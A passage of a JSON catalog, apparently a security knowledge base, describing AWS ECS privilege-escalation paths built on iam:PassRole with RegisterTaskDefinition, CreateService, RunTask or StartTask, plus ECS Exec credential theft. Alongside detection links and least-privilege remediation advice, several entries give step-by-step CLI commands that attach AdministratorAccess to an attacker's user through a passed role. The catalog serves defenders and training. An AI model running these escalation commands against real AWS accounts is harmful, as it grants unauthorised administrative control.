        "url": "https://rhinosecuritylabs.com/aws/weaponizing-ecs-task-definitions-steal-credentials-running-containers/"
      },
      {
        "title": "Auditing iam:PassRole: A Problematic Privilege Escalation Permission",
        "url": "https://www.tenable.com/blog/auditing-iampassrole-a-problematic-privilege-escalation-permission"
      }
    ],
    "relatedPaths": [
      "ec2-001",
      "lambda-001",
      "ecs-001",
      "ecs-002"
    ],
    "detectionTools": {
      "prowler": "https://github.com/prowler-cloud/prowler/blob/eabe4884379070c72e07103f239bac70d31f6320/prowler/providers/aws/services/iam/lib/privilege_escalation.py#L230",
      "cloudsplaining": "https://github.com/salesforce/cloudsplaining/blob/015f16030f35a40631560a895d5ae416f58b6a94/cloudsplaining/shared/constants.py#L218"
    },
    "learningEnvironments": {
      "pathfinding-labs": {
        "type": "open-source",
        "githubLink": "https://github.com/DataDog/pathfinding-labs",
        "scenario": "privesc-one-hop/to-admin/iam-passrole+ecs-registertaskdefinition+ecs-createservice",
        "description": "Deploy Terraform into your own AWS account to practice this attack path"
      }
    },
    "attackVisualization": {
      "nodes": [
        {
          "id": "start",
          "label": "Starting Principal",
          "type": "principal",
          "description": "The principal with iam:PassRole, ecs:RegisterTaskDefinition, and ecs:CreateService permissions. Can be an IAM user or role. Unlike ecs-001, this path assumes an ECS cluster already exists.\n"
        },
        {
          "id": "task_definition",
          "label": "New ECS Task Definition",
          "type": "resource",
          "description": "The registered ECS task definition with the target role passed via iam:PassRole. Includes a container with commands to execute when the task runs.\n"
        },
        {
          "id": "ecs_service",
          "label": "New ECS Service",
          "type": "resource",
          "description": "An ECS service created on an existing cluster that launches the task. The service maintains the task until completion.\n"
        },
        {
          "id": "target_role",
          "label": "Existing Role That Trusts the ecs-tasks Service",
          "type": "principal",
          "description": "The IAM role passed to the task definition. Must trust ecs-tasks.amazonaws.com. The task automatically assumes this role when it runs.\n"
        },
        {
          "id": "admin_outcome",
          "label": "Effective Administrator",
          "type": "outcome",
          "description": "If the target role has administrative permissions, the attacker gains full administrative access by having the task attach admin policies to the starting principal.\n"
        },
        {
          "id": "partial_outcome",
          "label": "Some additional access",
          "type": "outcome",
          "color": "#ffeb99",
          "description": "If the target role has elevated but non-administrative permissions, the attacker gains partial privilege escalation with possible access to sensitive data or additional escalation paths.\n"
        },
        {
          "id": "minimal_outcome",
          "label": "No additional access",
          "type": "outcome",
          "color": "#cccccc",
          "description": "If the target role has minimal permissions, the privilege escalation may not provide meaningful additional access.\n"
        }
      ],
      "edges": [
        {
          "from": "start",
          "to": "task_definition",
          "label": "iam:PassRole + ecs:RegisterTaskDefinition",
          "description": "The attacker registers a task definition that passes a privileged role.\n\nCommand:\n```bash\naws ecs register-task-definition \\\n  --family privesc-task \\\n  --task-role-arn \"arn:aws:iam::ACCOUNT_ID:role/PRIVILEGED_ROLE\" \\\n  --network-mode awsvpc \\\n  --requires-compatibilities FARGATE \\\n  --cpu 256 --memory 512 \\\n  --container-definitions '[{\"name\":\"exploit\",\"image\":\"amazon/aws-cli:latest\",\"command\":[\"iam\",\"attach-user-policy\",\"--user-name\",\"STARTING_USER\",\"--policy-arn\",\"arn:aws:iam::aws:policy/AdministratorAccess\"]}]'\n```\n"
        },
        {
          "from": "task_definition",
          "to": "ecs_service",
          "label": "ecs:CreateService",
          "description": "The attacker creates a service on an existing ECS cluster.\n\nCommand:\n```bash\naws ecs create-service \\\n  --cluster existing-cluster \\\n  --service-name privesc-service \\\n  --task-definition privesc-task \\\n  --desired-count 1 \\\n  --launch-type FARGATE \\\n  --network-configuration \"awsvpcConfiguration={subnets=[SUBNET_ID],assignPublicIp=ENABLED}\"\n```\n"
        },
        {
          "from": "ecs_service",
          "to": "target_role",
          "label": "Service launches task with role",
          "description": "The ECS service launches the task which automatically assumes the target role and executes the containerized commands with the role's permissions.\n"
        },
        {
          "from": "target_role",
          "to": "admin_outcome",
          "label": "If role has admin permissions",
          "branch": "A",
          "condition": "admin",
          "description": "If the target role has AdministratorAccess or equivalent, the task successfully escalates the starting principal to full administrative access.\n"
        },
        {
          "from": "target_role",
          "to": "partial_outcome",
          "label": "If role has some permissions",
          "branch": "B",
          "condition": "some_permissions",
          "description": "If the target role has elevated but non-administrative permissions, the task performs limited privilege escalation.\n"
        },
        {
          "from": "target_role",
          "to": "minimal_outcome",
          "label": "If role has minimal permissions",
          "branch": "C",
          "condition": "no_permissions",
          "description": "If the target role has minimal permissions, the task may not yield meaningful privilege escalation.\n"
        }
      ]
    },
    "permissions": {
      "required": [
        {
          "permission": "iam:PassRole",
          "resourceConstraints": "Target role ARN must be in the Resource section"
        },
        {
          "permission": "ecs:RegisterTaskDefinition",
          "resourceConstraints": "Must have permission to register ECS task definitions"
        },
        {
          "permission": "ecs:CreateService",
          "resourceConstraints": "Must have permission to create ECS services"
        }
      ],
      "additional": [
        {
          "permission": "ec2:DescribeVpcs",
          "resourceConstraints": "Helpful for finding the default VPC for network configuration"
        },
        {
          "permission": "ec2:DescribeSubnets",
          "resourceConstraints": "Helpful for finding subnets for Fargate network configuration"
        },
        {
          "permission": "ecs:DescribeClusters",
          "resourceConstraints": "Useful for discovering available ECS clusters and their configurations"
        },
        {
          "permission": "ecs:ListClusters",
          "resourceConstraints": "Helpful for listing all available clusters in the account"
        },
        {
          "permission": "ecs:DescribeServices",
          "resourceConstraints": "Useful for monitoring service creation and status"
        },
        {
          "permission": "ecs:DescribeTasks",
          "resourceConstraints": "Helpful for monitoring task execution and completion"
        },
        {
          "permission": "ecs:ListTasks",
          "resourceConstraints": "Useful for listing tasks in the service to monitor execution"
        },
        {
          "permission": "iam:ListRoles",
          "resourceConstraints": "Helpful for discovering available roles to pass"
        },
        {
          "permission": "iam:GetRole",
          "resourceConstraints": "Useful for viewing role trust policies and attached permissions"
        }
      ]
    },
    "gitMetadata": {
      "created": "2025-11-11T01:49:54Z",
      "lastUpdated": "2026-05-31T01:08:20Z",
      "contributors": [
        {
          "name": "Seth Art",
          "email": "seth.art@datadoghq.com",
          "githubUsername": "sethsec"
        },
        {
          "name": "Andoni A.",
          "email": "14891798+andoniaf@users.noreply.github.com",
          "githubUsername": "andoniaf"
        }
      ]
    },
    "filePath": "data/paths/ecs/ecs-003.yaml"
  },
  {
    "id": "ecs-004",
    "name": "iam:PassRole + ecs:RegisterTaskDefinition + ecs:RunTask",
    "category": "new-passrole",
    "services": [
      "iam",
      "ecs"
    ],
    "description": "A principal with `iam:PassRole`, `ecs:RegisterTaskDefinition`, and `ecs:RunTask` can create a new ECS task definition and attach an existing IAM role to it. When the task is run on Fargate or EC2, the code executes with the permissions of the attached role. The level of access gained depends on the permissions of the available roles.",
    "prerequisites": {
      "admin": [
        "An ECS cluster must exist in the account",
        "A role must exist that trusts ecs-tasks.amazonaws.com to assume it",
        "The role must have administrative permissions (e.g., AdministratorAccess or an equivalent custom policy)"
      ],
      "lateral": [
        "An ECS cluster must exist in the account",
        "A role must exist that trusts ecs-tasks.amazonaws.com to assume it"
      ]
    },
    "exploitationSteps": {
      "awscli": [
        {
          "step": 1,
          "command": "aws sts get-caller-identity",
          "description": "Get your AWS account ID for use in subsequent commands"
        },
        {
          "step": 2,
          "command": "aws ecs list-clusters",
          "description": "Identify available ECS clusters in the account"
        },
        {
          "step": 3,
          "command": "aws ec2 describe-vpcs --filters \"Name=isDefault,Values=true\"\naws ec2 describe-subnets --filters \"Name=vpc-id,Values=VPC_ID\"\n",
          "description": "Get the default VPC and subnet IDs needed for Fargate network configuration"
        },
        {
          "step": 4,
          "command": "aws ecs register-task-definition \\\n  --family privesc-task \\\n  --network-mode awsvpc \\\n  --requires-compatibilities FARGATE \\\n  --cpu 256 \\\n  --memory 512 \\\n  --task-role-arn \"arn:aws:iam::ACCOUNT_ID:role/PRIVILEGED_ROLE\" \\\n  --execution-role-arn \"arn:aws:iam::ACCOUNT_ID:role/ecsTaskExecutionRole\" \\\n  --container-definitions '[{\n    \"name\": \"exploit-container\",\n    \"image\": \"public.ecr.aws/amazonlinux/amazonlinux:latest\",\n    \"essential\": true,\n    \"command\": [\"/bin/sh\", \"-c\", \"aws sts get-caller-identity && aws iam attach-user-policy --user-name STARTING_USER --policy-arn arn:aws:iam::aws:policy/AdministratorAccess\"]\n  }]'\n",
          "description": "Register a task definition that uses the privileged role and includes a container with commands to escalate privileges"
        },
        {
          "step": 5,
          "command": "aws ecs run-task \\\n  --cluster CLUSTER_NAME \\\n  --task-definition privesc-task \\\n  --launch-type FARGATE \\\n  --network-configuration \"awsvpcConfiguration={subnets=[SUBNET_ID],assignPublicIp=ENABLED}\"\n",
          "description": "Run the task on Fargate, which will execute the container with the privileged role's permissions"
        },
        {
          "step": 6,
          "command": "aws ecs describe-tasks --cluster CLUSTER_NAME --tasks TASK_ARN",
          "description": "Monitor the task status until it reaches STOPPED state (execution complete)"
        },
        {
          "step": 7,
          "command": "aws sts get-caller-identity",
          "description": "Verify that your privileges have been escalated by the task execution"
        }
      ]
    },
    "recommendation": "High powered service roles + overly permissive `iam:PassRole` is what makes this privilege escalation path exploitable and impactful.\n\n- **Avoid administrative service roles** - Very rarely does an ECS task need administrative access. Use the principle of least privilege.\n- **Avoid granting `iam:PassRole` on all resources** - Whenever possible, restrict `iam:PassRole` to specific roles or specific services.\n\nUse IAM policy conditions to restrict which roles can be passed and to which services:\n\n```json\n{\n  \"Effect\": \"Allow\",\n  \"Action\": \"iam:PassRole\",\n  \"Resource\": \"arn:aws:iam::ACCOUNT_ID:role/SpecificECSRole\",\n  \"Condition\": {\n    \"StringEquals\": {\n      \"iam:PassedToService\": \"ecs-tasks.amazonaws.com\"\n    }\n  }\n}\n```\n\n- Monitor CloudTrail for unusual ECS task definition registration followed by immediate task execution\n- Monitor CloudTrail for ECS task execution by principals who do not usually run tasks\n- Monitor CloudTrail for roles being passed to ECS that haven't been used before\n- Monitor and alert on ECS task execution with privileged roles\n- Regularly audit ECS tasks for excessive IAM permissions\n- Regularly audit all IAM roles that trust the ECS service and down-scope any roles with administrative access\n",
    "limitations": "This path provides administrative access only if the passed role has administrative permissions (e.g., AdministratorAccess policy). If only limited roles are available, you gain access limited to those permissions. However, even limited access may enable multi-hop attacks.\n",
    "discoveryAttribution": {
      "firstDocumented": {
        "author": "Nick Spagnola",
        "organization": "Rhino Security Labs",
        "date": 2020,
        "link": "https://rhinosecuritylabs.com/aws/weaponizing-ecs-task-definitions-steal-credentials-running-containers/"
      }
    },
    "references": [
      {
        "title": "Weaponizing AWS ECS Task Definitions to Steal Credentials From Running Containers",
        "url": "https://rhinosecuritylabs.com/aws/weaponizing-ecs-task-definitions-steal-credentials-running-containers/"
      },
      {
        "title": "Auditing iam:PassRole: A Problematic Privilege Escalation Permission",
        "url": "https://www.tenable.com/blog/auditing-iampassrole-a-problematic-privilege-escalation-permission"
      },
      {
        "title": "HackTricks - AWS - ECS Privesc",
        "url": "https://cloud.hacktricks.wiki/en/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecs-privesc/index.html#iampassrole-ecsregistertaskdefinition-ecsruntask"
      }
    ],
    "detectionTools": {
      "prowler": "https://github.com/prowler-cloud/prowler/blob/eabe4884379070c72e07103f239bac70d31f6320/prowler/providers/aws/services/iam/lib/privilege_escalation.py#L235",
      "cloudsplaining": "https://github.com/salesforce/cloudsplaining/blob/015f16030f35a40631560a895d5ae416f58b6a94/cloudsplaining/shared/constants.py#L219"
    },
    "permissions": {
      "required": [
        {
          "permission": "iam:PassRole",
          "resourceConstraints": "Target role ARN must be in the Resource section"
        },
        {
          "permission": "ecs:RegisterTaskDefinition",
          "resourceConstraints": "Must have permission to register new task definitions"
        },
        {
          "permission": "ecs:RunTask",
          "resourceConstraints": "Must have permission to run tasks in the target cluster"
        }
      ],
      "additional": [
        {
          "permission": "ecs:ListClusters",
          "resourceConstraints": "Helpful for discovering available ECS clusters"
        },
        {
          "permission": "ecs:DescribeClusters",
          "resourceConstraints": "Useful for getting cluster details and ARNs"
        },
        {
          "permission": "ecs:DescribeTasks",
          "resourceConstraints": "Helpful for monitoring task execution status"
        },
        {
          "permission": "ec2:DescribeVpcs",
          "resourceConstraints": "Needed to find VPCs for Fargate network configuration"
        },
        {
          "permission": "ec2:DescribeSubnets",
          "resourceConstraints": "Needed to find subnets for Fargate network configuration"
        },
        {
          "permission": "iam:ListRoles",
          "resourceConstraints": "Helpful for discovering available roles to pass"
        },
        {
          "permission": "iam:GetRole",
          "resourceConstraints": "Useful for viewing role trust policies and attached permissions"
        }
      ]
    },
    "learningEnvironments": {
      "pathfinding-labs": {
        "type": "open-source",
        "githubLink": "https://github.com/DataDog/pathfinding-labs",
        "scenario": "privesc-one-hop/to-admin/iam-passrole+ecs-registertaskdefinition+ecs-runtask",
        "description": "Deploy Terraform into your own AWS account to practice this attack path"
      },
      "cloudgoat": {
        "type": "open-source",
        "githubLink": "https://github.com/RhinoSecurityLabs/cloudgoat",
        "scenario": "ecs_takeover",
        "description": "Deploy vulnerable infrastructure using CloudGoat to practice AWS attacks"
      }
    },
    "attackVisualization": {
      "nodes": [
        {
          "id": "start",
          "label": "Starting Principal",
          "type": "principal",
          "description": "The principal with iam:PassRole, ecs:RegisterTaskDefinition, and ecs:RunTask permissions. Can be an IAM user or role. This path uses an existing ECS cluster.\n"
        },
        {
          "id": "task_definition",
          "label": "New ECS Task Definition",
          "type": "resource",
          "description": "The registered ECS task definition with the target role passed via iam:PassRole. Includes a container with commands to execute when launched.\n"
        },
        {
          "id": "ecs_task",
          "label": "New Running ECS Task",
          "type": "resource",
          "description": "An ECS task running on Fargate, launched via ecs:RunTask. Unlike CreateService, this executes once without a persistent service.\n"
        },
        {
          "id": "target_role",
          "label": "Existing Role That Trusts the ecs-tasks Service",
          "type": "principal",
          "description": "The IAM role passed to the task definition. Must trust ecs-tasks.amazonaws.com. The task automatically assumes this role when it runs.\n"
        },
        {
          "id": "admin_outcome",
          "label": "Effective Administrator",
          "type": "outcome",
          "description": "If the target role has administrative permissions, the attacker gains full administrative access via the task's actions.\n"
        },
        {
          "id": "partial_outcome",
          "label": "Some additional access",
          "type": "outcome",
          "color": "#ffeb99",
          "description": "If the target role has elevated but non-administrative permissions, the attacker gains partial privilege escalation.\n"
        },
        {
          "id": "minimal_outcome",
          "label": "No additional access",
          "type": "outcome",
          "color": "#cccccc",
          "description": "If the target role has minimal permissions, the privilege escalation may not provide meaningful additional access.\n"
        }
      ],
      "edges": [
        {
          "from": "start",
          "to": "task_definition",
          "label": "iam:PassRole + ecs:RegisterTaskDefinition",
          "description": "The attacker registers a task definition that passes a privileged role.\n\nCommand:\n```bash\naws ecs register-task-definition \\\n  --family privesc-task \\\n  --task-role-arn \"arn:aws:iam::ACCOUNT_ID:role/PRIVILEGED_ROLE\" \\\n  --network-mode awsvpc \\\n  --requires-compatibilities FARGATE \\\n  --cpu 256 --memory 512 \\\n  --container-definitions '[{\"name\":\"exploit\",\"image\":\"amazon/aws-cli:latest\",\"command\":[\"iam\",\"attach-user-policy\",\"--user-name\",\"STARTING_USER\",\"--policy-arn\",\"arn:aws:iam::aws:policy/AdministratorAccess\"]}]'\n```\n"
        },
        {
          "from": "task_definition",
          "to": "ecs_task",
          "label": "ecs:RunTask",
          "description": "The attacker runs the task on Fargate.\n\nCommand:\n```bash\naws ecs run-task \\\n  --cluster existing-cluster \\\n  --task-definition privesc-task \\\n  --launch-type FARGATE \\\n  --network-configuration \"awsvpcConfiguration={subnets=[SUBNET_ID],assignPublicIp=ENABLED}\"\n```\n"
        },
        {
          "from": "ecs_task",
          "to": "target_role",
          "label": "Task assumes role and executes",
          "description": "The task automatically assumes the target role and executes the containerized commands with the role's permissions.\n"
        },
        {
          "from": "target_role",
          "to": "admin_outcome",
          "label": "If role has admin permissions",
          "branch": "A",
          "condition": "admin",
          "description": "If the target role has AdministratorAccess or equivalent, the task successfully escalates the starting principal to full administrative access.\n"
        },
        {
          "from": "target_role",
          "to": "partial_outcome",
          "label": "If role has some permissions",
          "branch": "B",
          "condition": "some_permissions",
          "description": "If the target role has elevated but non-administrative permissions, the task performs limited privilege escalation.\n"
        },
        {
          "from": "target_role",
          "to": "minimal_outcome",
          "label": "If role has minimal permissions",
          "branch": "C",
          "condition": "no_permissions",
          "description": "If the target role has minimal permissions, the task may not yield meaningful privilege escalation.\n"
        }
      ]
    },
    "gitMetadata": {
      "created": "2025-11-11T01:49:54Z",
      "lastUpdated": "2026-05-31T01:08:20Z",
      "contributors": [
        {
          "name": "Seth Art",
          "email": "seth.art@datadoghq.com",
          "githubUsername": "sethsec"
        },
        {
          "name": "Andoni A.",
          "email": "14891798+andoniaf@users.noreply.github.com",
          "githubUsername": "andoniaf"
        }
      ]
    },
    "filePath": "data/paths/ecs/ecs-004.yaml"
  },
  {
    "id": "ecs-005",
    "name": "iam:PassRole + ecs:RegisterTaskDefinition + ecs:StartTask",
    "category": "new-passrole",
    "services": [
      "iam",
      "ecs"
    ],
    "description": "A principal with `iam:PassRole`, `ecs:RegisterTaskDefinition`, and `ecs:StartTask` can create a new ECS task definition and attach an existing privileged IAM role to it, then start the task on an existing EC2 container instance. By registering a task definition with a malicious container command and starting it on an EC2-based ECS cluster, the attacker can execute arbitrary code with the permissions of the attached role, allowing privilege escalation. Unlike `ecs:RunTask` which works with both EC2 and Fargate launch types, `ecs:StartTask` is specifically for EC2 launch types and requires specifying an existing container instance ARN. This is a classic \"pass role to service\" privilege escalation pattern where the combination of task definition registration, role passing, and task execution permissions creates an indirect path to elevated privileges. The level of access gained depends on the permissions of the available roles.",
    "prerequisites": {
      "admin": [
        "An ECS cluster must exist with at least one registered EC2 container instance",
        "A role must exist that trusts ecs-tasks.amazonaws.com to assume it",
        "The role must have administrative permissions (e.g., AdministratorAccess or an equivalent custom policy)"
      ],
      "lateral": [
        "An ECS cluster must exist with at least one registered EC2 container instance",
        "A role must exist that trusts ecs-tasks.amazonaws.com to assume it"
      ]
    },
    "exploitationSteps": {
      "awscli": [
        {
          "step": 1,
          "command": "aws sts get-caller-identity",
          "description": "Get your AWS account ID to construct resource ARNs"
        },
        {
          "step": 2,
          "command": "aws ecs list-clusters",
          "description": "Discover available ECS clusters in the account (optional but helpful for finding target cluster)"
        },
        {
          "step": 3,
          "command": "aws ecs list-container-instances --cluster CLUSTER_NAME",
          "description": "Retrieve container instance ARNs needed for StartTask command (requires an EC2-based cluster with registered instances)"
        },
        {
          "step": 4,
          "command": "aws ecs register-task-definition \\\n  --family privesc-task \\\n  --network-mode bridge \\\n  --task-role-arn arn:aws:iam::ACCOUNT_ID:role/PRIVILEGED_ROLE \\\n  --container-definitions '[{\n    \"name\": \"privesc-container\",\n    \"image\": \"amazonlinux:latest\",\n    \"memory\": 512,\n    \"essential\": true,\n    \"command\": [\n      \"/bin/sh\",\n      \"-c\",\n      \"aws iam attach-user-policy --user-name YOUR_USERNAME --policy-arn arn:aws:iam::aws:policy/AdministratorAccess && echo \\\"Successfully attached AdministratorAccess!\\\"\"\n    ]\n  }]'\n",
          "description": "Register a task definition with the privileged role and malicious container command that attaches AdministratorAccess to your user (use bridge network mode for EC2 compatibility)"
        },
        {
          "step": 5,
          "command": "aws ecs start-task --cluster CLUSTER_NAME --task-definition privesc-task --container-instances CONTAINER_INSTANCE_ARN",
          "description": "Start the task on a specific container instance to execute the container command with elevated privileges"
        },
        {
          "step": 6,
          "command": "aws ecs describe-tasks --cluster CLUSTER_NAME --tasks TASK_ARN",
          "description": "Monitor the task status and wait for completion (status should change to RUNNING then STOPPED)"
        },
        {
          "step": 7,
          "command": "aws iam list-users --max-items 3",
          "description": "Verify administrative access was successfully obtained (wait 15-30 seconds for IAM propagation)"
        }
      ]
    },
    "limitations": "This path provides administrative access only if the passed role has administrative permissions (e.g., AdministratorAccess or an equivalent custom policy). If only limited roles are available, you gain access limited to those permissions. However, even limited access may enable multi-hop attacks.\n",
    "recommendation": "High powered service roles + overly permissive `iam:PassRole` is what makes this privilege escalation path exploitable and impactful.\n\n- **Avoid administrative service roles** - Very rarely does an ECS task need administrative access. Use the principle of least privilege.\n- **Avoid granting `iam:PassRole` on all resources** - Whenever possible, restrict `iam:PassRole` to specific roles or specific services.\n\nUse IAM policy conditions to restrict which roles can be passed and to which services:\n\n```json\n{\n  \"Effect\": \"Allow\",\n  \"Action\": \"iam:PassRole\",\n  \"Resource\": \"arn:aws:iam::ACCOUNT_ID:role/SpecificECSRole\",\n  \"Condition\": {\n    \"StringEquals\": {\n      \"iam:PassedToService\": \"ecs-tasks.amazonaws.com\"\n    }\n  }\n}\n```\n\n- Monitor CloudTrail for unusual ECS task definition registration followed by immediate task start\n- Monitor CloudTrail for ECS task start by principals who do not usually start tasks\n- Monitor CloudTrail for roles being passed to ECS that haven't been used before\n- Monitor and alert on ECS task start with privileged roles\n- Regularly audit ECS tasks for excessive IAM permissions\n- Regularly audit all IAM roles that trust the ECS service and down-scope any roles with administrative access\n",
    "discoveryAttribution": {
      "firstDocumented": {
        "source": "HackTricks",
        "link": "https://cloud.hacktricks.wiki/en/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecs-privesc/"
      },
      "derivativeOf": {
        "pathId": "ecs-004",
        "modification": "Uses ecs:StartTask instead of ecs:RunTask to execute the malicious task definition on a specific container instance"
      },
      "ultimateOrigin": {
        "pathId": "ecs-004",
        "author": "Nick Spagnola",
        "organization": "Rhino Security Labs",
        "date": 2020,
        "link": "https://rhinosecuritylabs.com/aws/weaponizing-ecs-task-definitions-steal-credentials-running-containers/"
      }
    },
    "references": [
      {
        "title": "AWS ECS Privilege Escalation - HackTricks",
        "url": "https://cloud.hacktricks.wiki/en/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecs-privesc/index.html#iampassrole-ecsregistertaskdefinition-ecsstarttask"
      },
      {
        "title": "Weaponizing AWS ECS Task Definitions to Steal Credentials From Running Containers (Original Research)",
        "url": "https://rhinosecuritylabs.com/aws/weaponizing-ecs-task-definitions-steal-credentials-running-containers/"
      },
      {
        "title": "Auditing iam:PassRole: A Problematic Privilege Escalation Permission",
        "url": "https://www.tenable.com/blog/auditing-iampassrole-a-problematic-privilege-escalation-permission"
      }
    ],
    "relatedPaths": [
      "ecs-001",
      "ecs-002",
      "ecs-003",
      "ecs-004",
      "ec2-001",
      "lambda-001",
      "codebuild-001",
      "cloudformation-001"
    ],
    "detectionTools": {
      "prowler": "https://github.com/prowler-cloud/prowler/blob/eabe4884379070c72e07103f239bac70d31f6320/prowler/providers/aws/services/iam/lib/privilege_escalation.py#L240",
      "cloudsplaining": "https://github.com/salesforce/cloudsplaining/blob/015f16030f35a40631560a895d5ae416f58b6a94/cloudsplaining/shared/constants.py#L220"
    },
    "permissions": {
      "required": [
        {
          "permission": "iam:PassRole",
          "resourceConstraints": "Target role ARN must be in the Resource section and must trust ecs-tasks.amazonaws.com"
        },
        {
          "permission": "ecs:RegisterTaskDefinition",
          "resourceConstraints": "Must have permission to register ECS task definitions"
        },
        {
          "permission": "ecs:StartTask",
          "resourceConstraints": "Must have permission to start tasks on existing container instances"
        }
      ],
      "additional": [
        {
          "permission": "ecs:ListClusters",
          "resourceConstraints": "Helpful for discovering available ECS clusters"
        },
        {
          "permission": "ecs:DescribeClusters",
          "resourceConstraints": "Useful for viewing cluster details and configuration"
        },
        {
          "permission": "ecs:ListContainerInstances",
          "resourceConstraints": "Required to retrieve container instance ARNs needed for StartTask"
        },
        {
          "permission": "ecs:DescribeContainerInstances",
          "resourceConstraints": "Helpful for viewing container instance details and capacity"
        },
        {
          "permission": "ecs:DescribeTasks",
          "resourceConstraints": "Useful for monitoring task execution status and verifying successful exploitation"
        },
        {
          "permission": "iam:ListRoles",
          "resourceConstraints": "Helpful for discovering available roles that trust ECS tasks to pass"
        },
        {
          "permission": "iam:GetRole",
          "resourceConstraints": "Useful for viewing role trust policies and attached permissions"
        }
      ]
    },
    "learningEnvironments": {
      "pathfinding-labs": {
        "type": "open-source",
        "githubLink": "https://github.com/DataDog/pathfinding-labs",
        "scenario": "privesc-one-hop/to-admin/iam-passrole+ecs-registertaskdefinition+ecs-starttask",
        "description": "Deploy Terraform into your own AWS account to practice this attack path"
      }
    },
    "attackVisualization": {
      "nodes": [
        {
          "id": "start",
          "label": "Starting Principal",
          "type": "principal",
          "description": "The principal with iam:PassRole, ecs:RegisterTaskDefinition, and ecs:StartTask permissions. Can be an IAM user or role. This path requires an existing ECS cluster with EC2 container instances.\n"
        },
        {
          "id": "task_definition",
          "label": "New ECS Task Definition",
          "type": "resource",
          "description": "The registered ECS task definition with the target role passed via iam:PassRole. Includes a container with commands to execute when launched on an EC2 container instance.\n"
        },
        {
          "id": "ecs_task",
          "label": "New Running ECS Task",
          "type": "resource",
          "description": "An ECS task running on an EC2 container instance, started via ecs:StartTask. Unlike RunTask, StartTask requires specifying the exact container instance ARN and only works with EC2 launch type (not Fargate).\n"
        },
        {
          "id": "target_role",
          "label": "Existing Role That Trusts the ecs-tasks Service",
          "type": "principal",
          "description": "The IAM role passed to the task definition. Must trust ecs-tasks.amazonaws.com. The task automatically assumes this role when it runs on the container instance.\n"
        },
        {
          "id": "admin_outcome",
          "label": "Effective Administrator",
          "type": "outcome",
          "description": "If the target role has administrative permissions, the attacker gains full administrative access via the task's actions executing on the EC2 container instance.\n"
        },
        {
          "id": "partial_outcome",
          "label": "Some additional access",
          "type": "outcome",
          "color": "#ffeb99",
          "description": "If the target role has elevated but non-administrative permissions, the attacker gains partial privilege escalation with possible access to sensitive resources.\n"
        },
        {
          "id": "minimal_outcome",
          "label": "No additional access",
          "type": "outcome",
          "color": "#cccccc",
          "description": "If the target role has minimal permissions, the privilege escalation may not provide meaningful additional access.\n"
        }
      ],
      "edges": [
        {
          "from": "start",
          "to": "task_definition",
          "label": "iam:PassRole + ecs:RegisterTaskDefinition",
          "description": "The attacker registers a task definition that passes a privileged role. Uses bridge network mode for EC2 compatibility.\n\nCommand:\n```bash\naws ecs register-task-definition \\\n  --family privesc-task \\\n  --task-role-arn \"arn:aws:iam::ACCOUNT_ID:role/PRIVILEGED_ROLE\" \\\n  --network-mode bridge \\\n  --container-definitions '[{\"name\":\"exploit\",\"image\":\"amazonlinux:latest\",\"memory\":512,\"command\":[\"/bin/sh\",\"-c\",\"aws iam attach-user-policy --user-name STARTING_USER --policy-arn arn:aws:iam::aws:policy/AdministratorAccess\"]}]'\n```\n"
        },
        {
          "from": "task_definition",
          "to": "ecs_task",
          "label": "ecs:StartTask",
          "description": "The attacker starts the task on a specific EC2 container instance. Unlike RunTask, StartTask requires specifying the container instance ARN.\n\nCommand:\n```bash\naws ecs start-task \\\n  --cluster existing-cluster \\\n  --task-definition privesc-task \\\n  --container-instances arn:aws:ecs:region:account:container-instance/cluster-name/instance-id\n```\n"
        },
        {
          "from": "ecs_task",
          "to": "target_role",
          "label": "Task assumes role and executes",
          "description": "The task automatically assumes the target role and executes the containerized commands on the EC2 instance with the role's permissions.\n"
        },
        {
          "from": "target_role",
          "to": "admin_outcome",
          "label": "If role has admin permissions",
          "branch": "A",
          "condition": "admin",
          "description": "If the target role has AdministratorAccess or equivalent, the task successfully escalates the starting principal to full administrative access.\n"
        },
        {
          "from": "target_role",
          "to": "partial_outcome",
          "label": "If role has some permissions",
          "branch": "B",
          "condition": "some_permissions",
          "description": "If the target role has elevated but non-administrative permissions, the task performs limited privilege escalation.\n"
        },
        {
          "from": "target_role",
          "to": "minimal_outcome",
          "label": "If role has minimal permissions",
          "branch": "C",
          "condition": "no_permissions",
          "description": "If the target role has minimal permissions, the task may not yield meaningful privilege escalation.\n"
        }
      ]
    },
    "gitMetadata": {
      "created": "2025-11-11T01:49:54Z",
      "lastUpdated": "2026-05-31T01:08:20Z",
      "contributors": [
        {
          "name": "Seth Art",
          "email": "seth.art@datadoghq.com",
          "githubUsername": "sethsec"
        },
        {
          "name": "Andoni A.",
          "email": "14891798+andoniaf@users.noreply.github.com",
          "githubUsername": "andoniaf"
        }
      ]
    },
    "filePath": "data/paths/ecs/ecs-005.yaml"
  },
  {
    "id": "ecs-006",
    "name": "ecs:ExecuteCommand + ecs:DescribeTasks",
    "category": "existing-passrole",
    "services": [
      "ecs"
    ],
    "permissions": {
      "required": [
        {
          "permission": "ecs:ExecuteCommand",
          "resourceConstraints": "Must have permission on ECS tasks in clusters with ECS Exec enabled"
        },
        {
          "permission": "ecs:DescribeTasks",
          "resourceConstraints": "Required by the AWS CLI to retrieve the container runtime ID for establishing the SSM session"
        }
      ],
      "additional": [
        {
          "permission": "ecs:ListClusters",
          "resourceConstraints": "Helpful for discovering ECS clusters in the account"
        },
        {
          "permission": "ecs:ListTasks",
          "resourceConstraints": "Helpful for discovering task ARNs in the target cluster"
        },
        {
          "permission": "ecs:DescribeTaskDefinition",
          "resourceConstraints": "Useful for viewing the task definition to discover the task role ARN"
        }
      ]
    },
    "description": "A principal with `ecs:ExecuteCommand` and `ecs:DescribeTasks` can establish an interactive shell session in a running ECS container, but only if ECS Exec has been explicitly enabled on the service (it is disabled by default). Both permissions are required because the AWS CLI internally calls `DescribeTasks` to retrieve the container runtime ID needed to establish the SSM session. If the task has a privileged IAM role attached, the attacker can retrieve the role's temporary credentials from the container metadata service at `169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI` and use them to perform actions as that role.",
    "prerequisites": {
      "admin": [
        "An ECS service must have ECS Exec explicitly enabled (`enable_execute_command = true`) - this is disabled by default and does not work on default ECS services",
        "The service must have at least one running task",
        "The task must have a task role with administrative permissions (e.g., AdministratorAccess or an equivalent custom policy)",
        "The ECS Exec agent (SSM agent) must be running and healthy in the container",
        "The attacker must have the AWS Systems Manager Session Manager plugin installed locally",
        "Network connectivity must allow SSM session establishment (task needs outbound internet or VPC endpoints)"
      ],
      "lateral": [
